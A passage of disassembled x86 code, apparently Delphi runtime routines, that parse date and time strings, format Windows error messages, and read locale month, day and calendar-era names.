; CODE XREF: sub_200095A0+16j mov bl, 1 jmp short loc_200095E4 ; --------------------------------------------------------------------------- loc_200095D6: ; CODE XREF: sub_200095A0+24j inc edi loc_200095D7: ; CODE XREF: sub_200095A0+Cj mov eax, esi call sub_20004244 cmp edi, eax jle short loc_200095AE xor ebx, ebx loc_200095E4: ; CODE XREF: sub_200095A0+28j ; sub_200095A0+2Cj ... mov eax, ebx pop edi pop esi pop ebx retn sub_200095A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200095EC proc near ; CODE XREF: sub_200096E4+6Bp ; sub_200096E4+260p push ebx push esi mov ebx, edx mov esi, eax jmp short loc_20009617 ; --------------------------------------------------------------------------- loc_200095F4: ; CODE XREF: sub_200095EC+40j mov eax, [ebx] mov al, [esi+eax-1] and eax, 0FFh bt ds:dword_2001412C, eax jnb short loc_20009615 mov edx, [ebx] mov eax, esi call sub_2000B000 mov [ebx], eax jmp short loc_20009617 ; --------------------------------------------------------------------------- loc_20009615: ; CODE XREF: sub_200095EC+1Aj inc dword ptr [ebx] loc_20009617: ; CODE XREF: sub_200095EC+6j ; sub_200095EC+27j mov eax, esi call sub_20004244 cmp eax, [ebx] jl short loc_2000962E mov eax, [ebx] mov al, [esi+eax-1] add al, 0D0h sub al, 0Ah jnb short loc_200095F4 loc_2000962E: ; CODE XREF: sub_200095EC+34j pop esi pop ebx retn sub_200095EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20009634 proc near ; CODE XREF: sub_200096E4+91p var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ebp, eax xor eax, eax mov [esp+14h+var_14], eax mov edi, 7 mov ebx, offset dword_20015764 mov esi, offset dword_20015780 loc_2000964F: ; CODE XREF: sub_20009634+47j cmp dword ptr [ebx], 0 jz short loc_2000967D mov eax, ebp call sub_20004444 push eax mov eax, [ebx] call sub_20004444 pop edx call sub_2000B074 test eax, eax jz short loc_20009674 mov eax, [esi] mov [esp+14h+var_14], eax jmp short loc_2000967D ; --------------------------------------------------------------------------- loc_20009674: ; CODE XREF: sub_20009634+37j add esi, 4 add ebx, 4 dec edi jnz short loc_2000964F loc_2000967D: ; CODE XREF: sub_20009634+1Ej ; sub_20009634+3Ej mov eax, [esp+14h+var_14] pop edx pop ebp pop edi pop esi pop ebx retn sub_20009634 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20009688 proc near ; CODE XREF: sub_200096E4+198p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, eax cmp ds:dword_20015758, 12h jnz short loc_200096D1 cmp ebx, 63h jg short loc_200096C0 call sub_20008828 movzx ecx, ax mov eax, [ebp+arg_0] mov eax, [eax-4] cdq xor eax, edx sub eax, edx add ecx, eax mov eax, ecx mov ecx, 64h cdq idiv ecx imul eax, 64h add ebx, eax loc_200096C0: ; CODE XREF: sub_20009688+12j mov eax, [ebp+arg_0] cmp dword ptr [eax-4], 0 jle short loc_200096D7 mov eax, [ebp+arg_0] neg dword ptr [eax-4] jmp short loc_200096D7 ; --------------------------------------------------------------------------- loc_200096D1: ; CODE XREF: sub_20009688+Dj mov eax, [ebp+arg_0] dec dword ptr [eax-4] loc_200096D7: ; CODE XREF: sub_20009688+3Fj ; sub_20009688+47j mov eax, [ebp+arg_0] mov eax, [eax-4] add eax, ebx pop ebx pop ebp retn sub_20009688 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200096E4 proc near ; CODE XREF: sub_20009C50+25p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = word ptr -0Ch var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFD8h push ebx push esi push edi xor ebx, ebx mov [ebp+var_28], ebx mov [ebp+var_24], ebx mov [ebp+var_20], ebx mov [ebp+var_1C], ebx mov [ebp+var_8], ecx mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_200099FF push dword ptr fs:[eax] mov fs:[eax], esp xor edi, edi mov [ebp+var_12], 0 mov [ebp+var_14], 0 mov [ebp+var_18], 0 mov [ebp+var_9], 0 mov eax, ds:dword_200156A0 call sub_200095A0 mov [ebp+var_A], al xor eax, eax mov [ebp+var_4], eax cmp ds:dword_200156A0, 0 jz short loc_2000977F mov eax, ds:dword_200156A0 cmp byte ptr [eax], 67h jnz short loc_2000977F mov edx, ebx mov eax, esi call sub_200095EC lea eax, [ebp+var_20] push eax mov ecx, [ebx] dec ecx mov edx, 1 mov eax, esi call sub_200044A4 mov eax, [ebp+var_20] lea edx, [ebp+var_1C] call sub_200070C4 mov eax, [ebp+var_1C] call sub_20009634 mov [ebp+var_4], eax jmp short loc_2000979B ; --------------------------------------------------------------------------- loc_2000977F: ; CODE XREF: sub_200096E4+5Bj ; sub_200096E4+65j mov edx, ds:dword_200156A0 mov eax, offset dword_20009A18 call sub_2000B03C test eax, eax jle short loc_2000979B mov eax, ds:dword_20015780 mov [ebp+var_4], eax loc_2000979B: ; CODE XREF: sub_200096E4+99j ; sub_200096E4+ADj lea eax, [ebp+var_15] push eax lea ecx, [ebp+var_C] mov edx, ebx mov eax, esi call sub_20009448 test al, al jz loc_200099E4 mov edx, ebx mov cl, ds:byte_2001569D mov eax, esi call sub_20009568 test al, al jz loc_200099E4 lea eax, [ebp+var_16] push eax lea ecx, [ebp+var_E] mov edx, ebx mov eax, esi call sub_20009448 test al, al jz loc_200099E4 mov edx, ebx mov cl, ds:byte_2001569D mov eax, esi call sub_20009568 test al, al jz loc_200098C7 lea eax, [ebp+var_17] push eax lea ecx, [ebp+var_10] mov edx, ebx mov eax, esi call sub_20009448 test al, al jz loc_200099E4 mov al, [ebp+var_A] sub al, 1 jb short loc_20009820 jz short loc_2000983C dec al jz short loc_20009858 jmp short loc_20009872 ; --------------------------------------------------------------------------- loc_20009820: ; CODE XREF: sub_200096E4+132j mov di, [ebp+var_10] mov al, [ebp+var_17] mov [ebp+var_18], al mov ax, [ebp+var_C] mov [ebp+var_12], ax mov ax, [ebp+var_E] mov [ebp+var_14], ax jmp short loc_20009872 ; --------------------------------------------------------------------------- loc_2000983C: ; CODE XREF: sub_200096E4+134j mov di, [ebp+var_10] mov al, [ebp+var_17] mov [ebp+var_18], al mov ax, [ebp+var_E] mov [ebp+var_12], ax mov ax, [ebp+var_C] mov [ebp+var_14], ax jmp short loc_20009872 ; --------------------------------------------------------------------------- loc_20009858: ; CODE XREF: sub_200096E4+138j mov di, [ebp+var_C] mov al, [ebp+var_15] mov [ebp+var_18], al mov ax, [ebp+var_E] mov [ebp+var_12], ax mov ax, [ebp+var_10] mov [ebp+var_14], ax loc_20009872: ; CODE XREF: sub_200096E4+13Aj ; sub_200096E4+156j ... cmp [ebp+var_4], 0 jle short loc_20009886 push ebp movzx eax, di call sub_20009688 pop ecx mov edi, eax jmp short loc_200098F6 ; --------------------------------------------------------------------------- loc_20009886: ; CODE XREF: sub_200096E4+192j cmp [ebp+var_18], 2 ja short loc_200098F6 call sub_20008828 movzx ecx, ax movzx eax, ds:word_200140F8 sub ecx, eax mov eax, ecx push ecx mov ecx, 64h cdq idiv ecx pop ecx imul ax, 64h add di, ax cmp ds:word_200140F8, 0 jbe short loc_200098F6 movzx eax, di cmp ecx, eax jle short loc_200098F6 add di, 64h jmp short loc_200098F6 ; --------------------------------------------------------------------------- loc_200098C7: ; CODE XREF: sub_200096E4+10Fj call sub_20008828 mov edi, eax cmp [ebp+var_A], 1 jnz short loc_200098E6 mov ax, [ebp+var_C] mov [ebp+var_14], ax mov ax, [ebp+var_E] mov [ebp+var_12], ax jmp short loc_200098F6 ; --------------------------------------------------------------------------- loc_200098E6: ; CODE XREF: sub_200096E4+1EEj mov ax, [ebp+var_C] mov [ebp+var_12], ax mov ax, [ebp+var_E] mov [ebp+var_14], ax loc_200098F6: ; CODE XREF: sub_200096E4+1A0j ; sub_200096E4+1A6j ... mov edx, ebx mov cl, ds:byte_2001569D mov eax, esi call sub_20009568 mov edx, ebx mov eax, esi call sub_20009424 cmp byte ptr ds:dword_20015760, 0 jz loc_200099CE mov edx, ds:dword_200156A0 mov eax, offset dword_20009A24 call sub_20004588 test eax, eax jz loc_200099CE mov eax, ds:dword_200156B4 mov al, [eax] add al, 0D0h sub al, 0Ah jnb short loc_20009952 mov edx, ebx mov eax, esi call sub_200095EC jmp loc_200099CE ; --------------------------------------------------------------------------- jmp short loc_20009952 ; --------------------------------------------------------------------------- loc_20009950: ; CODE XREF: sub_200096E4+280j inc dword ptr [ebx] loc_20009952: ; CODE XREF: sub_200096E4+25Aj ; sub_200096E4+26Aj ... mov eax, esi call sub_20004244 cmp eax, [ebx] jl short loc_20009966 mov eax, [ebx] cmp byte ptr [esi+eax-1], 20h jnz short loc_20009950 loc_20009966: ; CODE XREF: sub_200096E4+277j mov edx, ebx mov eax, esi call sub_20009424 mov eax, esi call sub_20004244 cmp eax, [ebx] jl short loc_200099CE lea eax, [ebp+var_24] push eax mov eax, ds:dword_200156AC call sub_20004244 mov ecx, eax mov edx, [ebx] mov eax, esi call sub_200044A4 mov edx, [ebp+var_24] mov eax, ds:dword_200156AC call sub_20007074 test eax, eax jz short loc_200099CE lea eax, [ebp+var_28] push eax mov eax, ds:dword_200156B0 call sub_20004244 mov ecx, eax mov edx, [ebx] mov eax, esi call sub_200044A4 mov edx, [ebp+var_28] mov eax, ds:dword_200156B0 call sub_20007074 test eax, eax jnz short loc_20009952 loc_200099CE: ; CODE XREF: sub_200096E4+231j ; sub_200096E4+249j ... mov eax, [ebp+var_8] push eax mov cx, [ebp+var_14] mov dx, [ebp+var_12] mov eax, edi call sub_200085CC mov [ebp+var_9], al loc_200099E4: ; CODE XREF: sub_200096E4+C9j ; sub_200096E4+E0j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20009A06 loc_200099F1: ; CODE XREF: sub_200096E4+320j lea eax, [ebp+var_28] mov edx, 4 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_200099FF: ; DATA XREF: sub_200096E4+21o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200099F1 ; --------------------------------------------------------------------------- loc_20009A06: ; CODE XREF: sub_200096E4+31Aj ; DATA XREF: sub_200096E4+308o mov al, [ebp+var_9] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_200096E4 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 1 dword_20009A18 dd 65h, 0FFFFFFFFh, 3 ; DATA XREF: sub_200096E4+A1o dword_20009A24 dd 646464h ; DATA XREF: sub_200096E4+23Do ; =============== S U B R O U T I N E ======================================= sub_20009A28 proc near ; CODE XREF: sub_20009C1C+14p ; sub_20009C50+42p var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_14 = byte ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF0h mov [esp+20h+var_20], ecx mov esi, edx mov ebp, eax xor ebx, ebx or edi, 0FFFFFFFFh mov edx, esi mov ecx, ds:dword_200156AC mov eax, ebp call sub_200094DC test al, al jnz short loc_20009A60 mov edx, esi mov ecx, offset dword_20009C0C mov eax, ebp call sub_200094DC test al, al jz short loc_20009A64 loc_20009A60: ; CODE XREF: sub_20009A28+24j xor edi, edi jmp short loc_20009A8E ; --------------------------------------------------------------------------- loc_20009A64: ; CODE XREF: sub_20009A28+36j mov edx, esi mov ecx, ds:dword_200156B0 mov eax, ebp call sub_200094DC test al, al jnz short loc_20009A89 mov edx, esi mov ecx, offset dword_20009C18 mov eax, ebp call sub_200094DC test al, al jz short loc_20009A8E loc_20009A89: ; CODE XREF: sub_20009A28+4Dj mov edi, 0Ch loc_20009A8E: ; CODE XREF: sub_20009A28+3Aj ; sub_20009A28+5Fj test edi, edi jl short loc_20009A9B mov edx, esi mov eax, ebp call sub_20009424 loc_20009A9B: ; CODE XREF: sub_20009A28+68j lea eax, [esp+20h+var_14] push eax lea ecx, [esp+24h+var_1C] mov edx, esi mov eax, ebp call sub_20009448 test al, al jz loc_20009BFA mov [esp+20h+var_1A], 0 mov [esp+20h+var_18], 0 mov [esp+20h+var_16], 0 mov edx, esi mov cl, ds:byte_200156A8 mov eax, ebp call sub_20009568 test al, al jz short loc_20009B51 lea eax, [esp+20h+var_14] push eax lea ecx, [esp+24h+var_1A] mov edx, esi mov eax, ebp call sub_20009448 test al, al jz loc_20009BFA mov edx, esi mov cl, ds:byte_200156A8 mov eax, ebp call sub_20009568 test al, al jz short loc_20009B51 lea eax, [esp+20h+var_14] push eax lea ecx, [esp+24h+var_18] mov edx, esi mov eax, ebp call sub_20009448 test al, al jz loc_20009BFA mov edx, esi mov cl, ds:byte_2001569B mov eax, ebp call sub_20009568 test al, al jz short loc_20009B51 lea eax, [esp+20h+var_14] push eax lea ecx, [esp+24h+var_16] mov edx, esi mov eax, ebp call sub_20009448 test al, al jz loc_20009BFA loc_20009B51: ; CODE XREF: sub_20009A28+B3j ; sub_20009A28+E0j ... test edi, edi jge short loc_20009BA8 mov edx, esi mov ecx, ds:dword_200156AC mov eax, ebp call sub_200094DC test al, al jnz short loc_20009B7A mov edx, esi mov ecx, offset dword_20009C0C mov eax, ebp call sub_200094DC test al, al jz short loc_20009B7E loc_20009B7A: ; CODE XREF: sub_20009A28+13Ej xor edi, edi jmp short loc_20009BA8 ; --------------------------------------------------------------------------- loc_20009B7E: ; CODE XREF: sub_20009A28+150j mov edx, esi mov ecx, ds:dword_200156B0 mov eax, ebp call sub_200094DC test al, al jnz short loc_20009BA3 mov edx, esi mov ecx, offset dword_20009C18 mov eax, ebp call sub_200094DC test al, al jz short loc_20009BA8 loc_20009BA3: ; CODE XREF: sub_20009A28+167j mov edi, 0Ch loc_20009BA8: ; CODE XREF: sub_20009A28+12Bj ; sub_20009A28+154j ... test edi, edi jl short loc_20009BD0 cmp [esp+20h+var_1C], 0 jz short loc_20009BFA cmp [esp+20h+var_1C], 0Ch ja short loc_20009BFA cmp [esp+20h+var_1C], 0Ch jnz short loc_20009BCB mov [esp+20h+var_1C], 0 loc_20009BCB: ; CODE XREF: sub_20009A28+19Aj add [esp+20h+var_1C], di loc_20009BD0: ; CODE XREF: sub_20009A28+182j mov edx, esi mov eax, ebp call sub_20009424 mov ax, [esp+20h+var_16] push eax mov eax, [esp+24h+var_20] push eax mov cx, [esp+28h+var_18] mov dx, [esp+28h+var_1A] mov ax, [esp+28h+var_1C] call sub_200084C4 mov ebx, eax loc_20009BFA: ; CODE XREF: sub_20009A28+87j ; sub_20009A28+C9j ... mov eax, ebx add esp, 10h pop ebp pop edi pop esi pop ebx retn sub_20009A28 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 2 dword_20009C0C dd 4D41h, 0FFFFFFFFh, 2 ; DATA XREF: sub_20009A28+28o ; sub_20009A28+142o dword_20009C18 dd 4D50h ; DATA XREF: sub_20009A28+51o ; sub_20009A28+16Bo ; =============== S U B R O U T I N E ======================================= sub_20009C1C proc near ; CODE XREF: sub_20009C50+4Fp var_C = dword ptr -0Ch push ebx push esi push ecx mov esi, edx mov ebx, eax mov [esp+0Ch+var_C], 1 mov ecx, esi mov edx, esp mov eax, ebx call sub_20009A28 test al, al jz short loc_20009C45 mov eax, ebx call sub_20004244 cmp eax, [esp+0Ch+var_C] jl short loc_20009C49 loc_20009C45: ; CODE XREF: sub_20009C1C+1Bj xor eax, eax jmp short loc_20009C4B ; --------------------------------------------------------------------------- loc_20009C49: ; CODE XREF: sub_20009C1C+27j mov al, 1 loc_20009C4B: ; CODE XREF: sub_20009C1C+2Bj pop edx pop esi pop ebx retn sub_20009C1C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20009C50 proc near ; CODE XREF: sub_2000C334+35p var_24 = dword ptr -24h var_1C = qword ptr -1Ch var_14 = qword ptr -14h push ebx push esi push edi add esp, 0FFFFFFE8h mov edi, edx mov esi, eax mov bl, 1 mov [esp+24h+var_24], 1 xor eax, eax mov dword ptr [esp+24h+var_14], eax mov dword ptr [esp+24h+var_14+4], eax lea ecx, [esp+24h+var_1C] mov edx, esp mov eax, esi call sub_200096E4 test al, al jz short loc_20009C9B mov eax, esi call sub_20004244 cmp eax, [esp+24h+var_24] jl short loc_20009CA8 lea ecx, [esp+24h+var_14] mov edx, esp mov eax, esi call sub_20009A28 test al, al jnz short loc_20009CA8 loc_20009C9B: ; CODE XREF: sub_20009C50+2Cj mov edx, edi mov eax, esi call sub_20009C1C mov ebx, eax jmp short loc_20009CCF ; --------------------------------------------------------------------------- loc_20009CA8: ; CODE XREF: sub_20009C50+38j ; sub_20009C50+49j fld [esp+24h+var_1C] fcomp flt_20009CD8 fnstsw ax sahf jb short loc_20009CC4 fld [esp+24h+var_1C] fadd [esp+24h+var_14] fstp qword ptr [edi] wait jmp short loc_20009CCF ; --------------------------------------------------------------------------- loc_20009CC4: ; CODE XREF: sub_20009C50+65j fld [esp+24h+var_1C] fsub [esp+24h+var_14] fstp qword ptr [edi] wait loc_20009CCF: ; CODE XREF: sub_20009C50+56j ; sub_20009C50+72j mov eax, ebx add esp, 18h pop edi pop esi pop ebx retn sub_20009C50 endp ; --------------------------------------------------------------------------- flt_20009CD8 dd 0.0 ; DATA XREF: sub_20009C50+5Cr ; =============== S U B R O U T I N E ======================================= sub_20009CDC proc near ; CODE XREF: sub_2000B75C+31p ; sub_2000D184+1E7p ... var_106 = byte ptr -106h Buffer = byte ptr -104h push ebx add esp, 0FFFFFF00h mov ebx, edx push 0 ; Arguments push 100h ; nSize lea edx, [esp+10Ch+Buffer] push edx ; lpBuffer push 0 ; dwLanguageId push eax ; dwMessageId push 0 ; lpSource push 3200h ; dwFlags call FormatMessageA jmp short loc_20009D03 ; --------------------------------------------------------------------------- loc_20009D02: ; CODE XREF: sub_20009CDC+32j ; sub_20009CDC+37j dec eax loc_20009D03: ; CODE XREF: sub_20009CDC+24j test eax, eax jle short loc_20009D15 mov dl, [esp+eax-1] sub dl, 21h jb short loc_20009D02 sub dl, 0Dh jz short loc_20009D02 loc_20009D15: ; CODE XREF: sub_20009CDC+29j mov edx, esp mov ecx, ebx xchg eax, ecx call sub_20004098 add esp, 100h pop ebx retn sub_20009CDC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20009D28 proc near ; CODE XREF: sub_20009D9C+1Cp ; sub_20009FB0+27p ... LCData = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF00h push ebx push esi mov esi, ecx mov ebx, [ebp+arg_0] push 100h ; cchData lea ecx, [ebp+LCData] push ecx ; lpLCData push edx ; LCType push eax ; Locale call GetLocaleInfoA_0 test eax, eax jle short loc_20009D61 mov ecx, eax dec ecx lea edx, [ebp+LCData] mov eax, ebx call sub_20004098 jmp short loc_20009D6A ; --------------------------------------------------------------------------- loc_20009D61: ; CODE XREF: sub_20009D28+25j mov eax, ebx mov edx, esi call sub_20003FFC loc_20009D6A: ; CODE XREF: sub_20009D28+37j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_20009D28 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20009D74 proc near ; CODE XREF: sub_2000B3DC+ADp ; sub_2000B3DC+C0p ... LCData = byte ptr -10h push ebx push esi push edi push ecx mov ebx, ecx mov esi, edx mov edi, eax push 2 ; cchData lea eax, [esp+14h+LCData] push eax ; lpLCData push esi ; LCType push edi ; Locale call GetLocaleInfoA_0 test eax, eax jle short loc_20009D95 mov al, [esp+10h+LCData] jmp short loc_20009D97 ; --------------------------------------------------------------------------- loc_20009D95: ; CODE XREF: sub_20009D74+1Aj mov eax, ebx loc_20009D97: ; CODE XREF: sub_20009D74+1Fj pop edx pop edi pop esi pop ebx retn sub_20009D74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20009D9C proc near ; CODE XREF: sub_20009DD8+46p ; sub_20009DD8+69p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], ecx mov edi, edx mov esi, eax mov ebx, [ebp+arg_0] push ebx mov eax, [ebp+arg_8] mov eax, [eax-4] xor ecx, ecx mov edx, esi call sub_20009D28 cmp dword ptr [ebx], 0 jnz short loc_20009DCF mov eax, [ebp+var_4] mov eax, [eax+edi*4] mov edx, ebx call sub_20005994 loc_20009DCF: ; CODE XREF: sub_20009D9C+24j pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_20009D9C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20009DD8 proc near ; CODE XREF: sub_2000B3DC+23p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi xor eax, eax push ebp push offset loc_20009EEB push dword ptr fs:[eax] mov fs:[eax], esp call GetThreadLocale_0 mov [ebp+var_4], eax mov ebx, 1 mov esi, offset dword_200156BC mov edi, offset dword_200156EC loc_20009E0B: ; CODE XREF: sub_20009DD8+83j push ebp push 0Bh lea eax, [ebp+var_C] push eax mov ecx, offset off_200141A4 mov edx, ebx dec edx lea eax, [ebx+44h] dec eax call sub_20009D9C pop ecx mov edx, [ebp+var_C] mov eax, esi call sub_20003FFC push ebp push 0Bh lea eax, [ebp+var_10] push eax mov ecx, offset off_200141D4 mov edx, ebx dec edx lea eax, [ebx+38h] dec eax call sub_20009D9C pop ecx mov edx, [ebp+var_10] mov eax, edi call sub_20003FFC inc ebx add edi, 4 add esi, 4 cmp ebx, 0Dh jnz short loc_20009E0B mov ebx, 1 mov esi, offset dword_2001571C mov edi, offset dword_20015738 loc_20009E6C: ; CODE XREF: sub_20009DD8+F6j lea eax, [ebx+5] mov ecx, 7 cdq idiv ecx mov [ebp+var_8], edx push ebp push 6 lea eax, [ebp+var_14] push eax mov ecx, offset off_20014204 mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 31h call sub_20009D9C pop ecx mov edx, [ebp+var_14] mov eax, esi call sub_20003FFC push ebp push 6 lea eax, [ebp+var_18] push eax mov ecx, offset off_20014220 mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 2Ah call sub_20009D9C pop ecx mov edx, [ebp+var_18] mov eax, edi call sub_20003FFC inc ebx add edi, 4 add esi, 4 cmp ebx, 8 jnz short loc_20009E6C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20009EF2 loc_20009EDD: ; CODE XREF: sub_20009DD8+118j lea eax, [ebp+var_18] mov edx, 4 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_20009EEB: ; DATA XREF: sub_20009DD8+11o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20009EDD ; --------------------------------------------------------------------------- loc_20009EF2: ; CODE XREF: sub_20009DD8+112j ; DATA XREF: sub_20009DD8+100o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_20009DD8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; BOOL __stdcall CalInfoEnumProc(LPSTR) CalInfoEnumProc proc near ; DATA XREF: sub_20009FB0+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi xor esi, esi mov ebx, 1 jmp short loc_20009F10 ; --------------------------------------------------------------------------- loc_20009F0A: ; CODE XREF: CalInfoEnumProc+1Cj cmp ebx, 7 jz short loc_20009F2E inc ebx loc_20009F10: ; CODE XREF: CalInfoEnumProc+Cj cmp ds:dword_20015760[ebx*4], 0 jnz short loc_20009F0A lea eax, dword_20015760[ebx*4] mov edx, [ebp+arg_0] call sub_200041A0 mov esi, 1 loc_20009F2E: ; CODE XREF: CalInfoEnumProc+11j mov eax, esi pop esi pop ebx pop ebp retn 4 CalInfoEnumProc endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; BOOL __stdcall sub_20009F38(LPSTR) sub_20009F38 proc near ; DATA XREF: sub_20009FB0+77o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push ebx push esi xor eax, eax push ebp push offset loc_20009F9D push dword ptr fs:[eax] mov fs:[eax], esp xor esi, esi mov ebx, 1 jmp short loc_20009F5C ; --------------------------------------------------------------------------- loc_20009F56: ; CODE XREF: sub_20009F38+2Cj cmp ebx, 7 jz short loc_20009F87 inc ebx loc_20009F5C: ; CODE XREF: sub_20009F38+1Cj cmp ds:dword_2001577C[ebx*4], 0FFFFFFFFh jnz short loc_20009F56 lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_200041A0 mov eax, [ebp+var_4] xor edx, edx call sub_2000729C mov ds:dword_2001577C[ebx*4], eax mov esi, 1 loc_20009F87: ; CODE XREF: sub_20009F38+21j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20009FA4 loc_20009F94: ; CODE XREF: sub_20009F38+6Aj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20009F9D: ; DATA XREF: sub_20009F38+Ao jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20009F94 ; --------------------------------------------------------------------------- loc_20009FA4: ; CODE XREF: sub_20009F38+64j ; DATA XREF: sub_20009F38+57o mov eax, esi pop esi pop ebx pop ecx pop ebp retn 4 sub_20009F38 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20009FB0 proc near ; CODE XREF: sub_2000B3DC+31p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push esi xor eax, eax push ebp push offset loc_2000A047 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax call GetThreadLocale_0 mov ecx, offset dword_2000A05C mov edx, 100Bh call sub_20009D28 mov eax, [ebp+var_4] mov edx, 1 call sub_2000729C mov esi, eax mov eax, esi add eax, 0FFFFFFFDh sub eax, 3 jnb short loc_2000A031 push 4 ; CalType push esi ; Calendar call GetThreadLocale_0 push eax ; Locale push offset CalInfoEnumProc ; lpCalInfoEnumProc call EnumCalendarInfoA mov edx, 7 mov eax, offset dword_20015780 loc_2000A012: ; CODE XREF: sub_20009FB0+6Cj mov dword ptr [eax], 0FFFFFFFFh add eax, 4 dec edx jnz short loc_2000A012 push 3 ; CalType push esi ; Calendar call GetThreadLocale_0 push eax ; Locale push offset sub_20009F38 ; lpCalInfoEnumProc call EnumCalendarInfoA loc_2000A031: ; CODE XREF: sub_20009FB0+43j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000A04E loc_2000A03E: ; CODE XREF: sub_20009FB0+9Cj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000A047: ; DATA XREF: sub_20009FB0+9o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000A03E ; --------------------------------------------------------------------------- loc_2000A04E: ; CODE XREF: sub_20009FB0+96j ; DATA XREF: sub_20009FB0+89o pop esi pop ecx pop ebp retn sub_20009FB0 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_2000A05C dd 31h ; DATA XREF: sub_20009FB0+1Do ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000A060 proc near ; CODE XREF: sub_2000B3DC+11Cp ; sub_2000B3DC+149p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi mov edi, edx mov esi, eax xor eax, eax push ebp push offset loc_2000A22A push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, 1 mov eax, edi call sub_20003FA8 lea eax, [ebp+var_8] push eax call GetThreadLocale_0 mov ecx, offset dword_2000A240 mov edx, 1009h call sub_20009D28 mov eax, [ebp+var_8] mov edx, 1 call sub_2000729C add eax, 0FFFFFFFDh sub eax, 3 jb loc_2000A200 mov eax, ds:dword_20015758 sub eax, 4 jz short loc_2000A0D2 add eax, 0FFFFFFF3h sub eax, 2 jb short loc_2000A0D2 xor eax, eax jmp short loc_2000A0D4 ; --------------------------------------------------------------------------- loc_2000A0D2: ; CODE XREF: sub_2000A060+64j ; sub_2000A060+6Cj mov al, 1 loc_2000A0D4: ; CODE XREF: sub_2000A060+70j test al, al jz short loc_2000A10D jmp short loc_2000A0FD ; --------------------------------------------------------------------------- loc_2000A0DA: ; CODE XREF: sub_2000A060+A6j mov al, [esi+ebx-1] sub al, 47h jz short loc_2000A0FC sub al, 20h jz short loc_2000A0FC lea eax, [ebp+var_C] mov dl, [esi+ebx-1] call sub_20004190 mov edx, [ebp+var_C] mov eax, edi call sub_2000424C loc_2000A0FC: ; CODE XREF: sub_2000A060+80j ; sub_2000A060+84j inc ebx loc_2000A0FD: ; CODE XREF: sub_2000A060+78j mov eax, esi call sub_20004244 cmp ebx, eax jle short loc_2000A0DA jmp loc_2000A20F ; 